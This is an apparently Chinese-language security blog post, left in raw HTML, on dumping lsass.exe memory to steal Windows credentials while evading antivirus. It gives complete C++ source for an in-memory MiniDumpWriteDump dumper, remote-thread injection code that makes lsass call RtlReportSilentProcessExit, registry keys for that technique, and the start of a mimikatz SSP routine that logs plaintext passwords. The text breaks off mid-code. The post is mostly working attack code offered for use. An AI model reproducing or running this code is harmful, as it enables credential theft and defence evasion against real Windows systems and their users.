normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">代码与c++差不多：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.745417515274949" title="null" data-w="982" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fabe8b26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJKvxkEtGZyvKbxseHUIiakmton23Mpia8icUFUoFiaB7fvXfgkWicGkc30jg%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">nimble install winim<br/>nim compile -d:release --opt:size dump.nim</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">报错缺少gcc.exe,下载mingw并配置环境变量后编译。运行报错：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.34474327628361856" title="null" data-w="818" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=64e2117e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJ5WicOboHnZm4YpwAG0GkQqy1HBJ2h8vR82mGicsdbDL679z8iaSbibrHzA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不知道什么原因，但总归是可以解决的。直接编译免杀效果一般：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.45803040317250493" title="null" data-w="1513" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=df255d2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJUZ4ucnjFRjxjFVibeGCoqQ0rDSc5of92rWf97BibOHvtMnf6A8ibs6ylA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">杀转储文件绕过</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">很多时候我们担心导出的dump文件被杀软杀了，想要对导出部分进行加密，我们可以使用MiniDump Callbacks将结果保存在内存中，再进行加密输出，主要依靠MiniDumpWriteDump提供的回调函数。</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">BOOL CALLBACK minidumpCallback(<br/>__in     PVOID callbackParam,<br/>__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,<br/>__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput<br/>)<br/>{<br/>LPVOID destination = 0, source = 0;<br/>DWORD bufferSize = 0;<br/> <br/>switch (callbackInput-&gt;CallbackType)<br/>{<br/>case IoStartCallback:<br/>callbackOutput-&gt;Status = S_FALSE;<br/>break;<br/> <br/>// Gets called for each lsass process memory read operation<br/>case IoWriteAllCallback:<br/>callbackOutput-&gt;Status = S_OK;<br/> <br/>// A chunk of minidump data that&#39;s been jus read from lsass. <br/>// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.<br/>// We will simply save it to dumpBuffer.<br/>source = callbackInput-&gt;Io.Buffer;<br/> <br/>// Calculate location of where we want to store this part of the dump.<br/>// Destination is start of our dumpBuffer + the offset of the minidump data<br/>destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput-&gt;Io.Offset);<br/> <br/>// Size of the chunk of minidump that&#39;s just been read.<br/>bufferSize = callbackInput-&gt;Io.BufferBytes;<br/>bytesRead += bufferSize;<br/> <br/>RtlCopyMemory(destination, source, bufferSize);<br/> <br/>printf(&#34;[+] Minidump offset: 0x%x; length: 0x%x\n&#34;, callbackInput-&gt;Io.Offset, bufferSize);<br/>break;<br/> <br/>case IoFinishCallback:<br/>callbackOutput-&gt;Status = S_OK;<br/>break;<br/> <br/>default:<br/>return true;<br/>}<br/>return TRUE;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">绑定回调函数并调用:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">MINIDUMP_CALLBACK_INFORMATION callbackInfo;<br/>ZeroMemory(&amp;callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));<br/>callbackInfo.CallbackRoutine = &amp;minidumpCallback;<br/>callbackInfo.CallbackParam = NULL;<br/> <br/>// Dump lsass<br/>BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &amp;callbackInfo);</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要是回调函数里的内存操作要注意，首先在堆上申请了一块内存：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之后再将函数执行后生成的数组放入dumpbuffer中：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput-&gt;Io.Offset);</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">编译后直接执行MiniDumpWriteDump返回0，执行失败，怀疑是需要sedebug权限，这里使用powershell启动成功抓取：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.5520282186948854" title="null" data-w="567" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=52d6776f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJLcT1iaLMp1kgyGe5eQgPSfboKrj13lXia13logP9KZLtK1xbhaZaW8Qg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">因为powershell是自带sebug权限的：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.5520282186948854" title="null" data-w="567" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=52d6776f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJLcT1iaLMp1kgyGe5eQgPSfboKrj13lXia13logP9KZLtK1xbhaZaW8Qg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">执行结果和想象的略有不同，看起来回调函数被多次调用了。导出内存是按块进行输出的：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.552212389380531" title="null" data-w="565" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d51476cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJdwNMjDactOvicWfmpey8bnJUFnbaOyCu4WURSLF62lvr345bs4GOgEQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里我没调试之前是挺疑惑的，因为按我以前的理解，堆在内存中应该是不连续的，并不能像栈一样直接当连续的内存使用。但开发的同时说申请的时候HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75)是一块完整的内存块，是连续的，这里可能因为栈的空间不够大，所以用了堆来存放。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">完整的导出代码：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">#include &lt;iostream&gt;<br/>#include &lt;TlHelp32.h&gt;<br/>#include &lt;processsnapshot.h&gt;<br/>#pragma comment (lib, &#34;Dbghelp.lib&#34;)<br/> <br/>using namespace std;<br/> <br/>// Buffer for saving the minidump<br/>LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);<br/>DWORD bytesRead = 0;<br/> <br/>BOOL CALLBACK minidumpCallback(<br/>__in     PVOID callbackParam,<br/>__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,<br/>__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput<br/>)<br/>{<br/>LPVOID destination = 0, source = 0;<br/>DWORD bufferSize = 0;<br/> <br/>switch (callbackInput-&gt;CallbackType)<br/>{<br/>case IoStartCallback:<br/>callbackOutput-&gt;Status = S_FALSE;<br/>break;<br/> <br/>// Gets called for each lsass process memory read operation<br/>case IoWriteAllCallback:<br/>callbackOutput-&gt;Status = S_OK;<br/> <br/>// A chunk of minidump data that&#39;s been jus read from lsass. <br/>// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.<br/>// We will simply save it to dumpBuffer.<br/>source = callbackInput-&gt;Io.Buffer;<br/> <br/>// Calculate location of where we want to store this part of the dump.<br/>// Destination is start of our dumpBuffer + the offset of the minidump data<br/>destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput-&gt;Io.Offset);<br/> <br/>// Size of the chunk of minidump that&#39;s just been read.<br/>bufferSize = callbackInput-&gt;Io.BufferBytes;<br/>bytesRead += bufferSize;<br/> <br/>RtlCopyMemory(destination, source, bufferSize);<br/> <br/>printf(&#34;[+] Minidump offset: 0x%x; length: 0x%x\n&#34;, callbackInput-&gt;Io.Offset, bufferSize);<br/>break;<br/> <br/>case IoFinishCallback:<br/>callbackOutput-&gt;Status = S_OK;<br/>break;<br/> <br/>default:<br/>return true;<br/>}<br/>return TRUE;<br/>}<br/> <br/>int main() {<br/>DWORD lsassPID = 0;<br/>DWORD bytesWritten = 0;<br/>HANDLE lsassHandle = NULL;<br/>HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br/>LPCWSTR processName = L&#34;&#34;;<br/>PROCESSENTRY32 processEntry = {};<br/>processEntry.dwSize = sizeof(PROCESSENTRY32);<br/> <br/>// Get lsass PID<br/>if (Process32First(snapshot, &amp;processEntry)) {<br/>while (_wcsicmp(processName, L&#34;lsass.exe&#34;) != 0) {<br/>Process32Next(snapshot, &amp;processEntry);<br/>processName = processEntry.szExeFile;<br/>lsassPID = processEntry.th32ProcessID;<br/>}<br/>printf(&#34;[+] lsass PID=0x%x\n&#34;,lsassPID);<br/>}<br/> <br/>lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);<br/> <br/>// Set up minidump callback<br/>MINIDUMP_CALLBACK_INFORMATION callbackInfo;<br/>ZeroMemory(&amp;callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));<br/>callbackInfo.CallbackRoutine = &amp;minidumpCallback;<br/>callbackInfo.CallbackParam = NULL;<br/> <br/>// Dump lsass<br/>BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &amp;callbackInfo);<br/> <br/>if (isDumped) <br/>{<br/>// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt &amp; exfiltrate<br/>printf(&#34;\n[+] lsass dumped to memory 0x%p\n&#34;, dumpBuffer);<br/>HANDLE outFile = CreateFile(L&#34;c:\\temp\\lsass.dmp&#34;, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);<br/> <br/>// For testing purposes, let&#39;s write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it<br/>if (WriteFile(outFile, dumpBuffer, bytesRead, &amp;bytesWritten, NULL))<br/>{<br/>printf(&#34;\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n&#34;, dumpBuffer, bytesWritten);<br/>}<br/>}<br/> <br/>return 0;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">完整的轮子：<a href="https://github.com/CCob/MirrorDump" target="_blank">https://github.com/CCob/MirrorDump</a></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">内存保护绕过</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">绕过敏感api hook</h3><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">崩溃法</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">已有成熟的轮子：<a href="https://github.com/deepinstinct/LsassSilentProcessExit" target="_blank">https://github.com/deepinstinct/LsassSilentProcessExit</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要使用LsassSilentProcessExit这个api，通过修改注册表+远程进程注入的方式转储内存,相关的注册表键值：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">#define IFEO_REG_KEY &#34;SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\&#34;<br/>#define SILENT_PROCESS_EXIT_REG_KEY &#34;SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\&#34;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用远程进程注入让lsass.exe自己调用RtlReportSilentProcessExit函数：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">HMODULE hNtdll = GetModuleHandle(L&#34;ntdll.dll&#34;);<br/>RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(hNtdll, &#34;RtlReportSilentProcessExit&#34;);<br/>HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL);</code></pre><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">rpc + ssp</h4><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">什么是ssp</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先我们要了解什么是ssp，简单来讲ssp是系统自带的一个功能，用于对认证流程的一些补充。一般为一个dll文件，用户可以通过设置ssp参与lsass.exe原本的处理流程。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">ssp常规使用</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">minilib.dll</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该文件是mimikatz项目中带的dll文件，我们熟知的功能就是通过该dll记录账户的明文密码：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)<br/>{<br/>FILE *kssp_logfile;<br/>#pragma warning(push)<br/>#pragma warning(disable:4996)<br/>if(kssp_logfile = 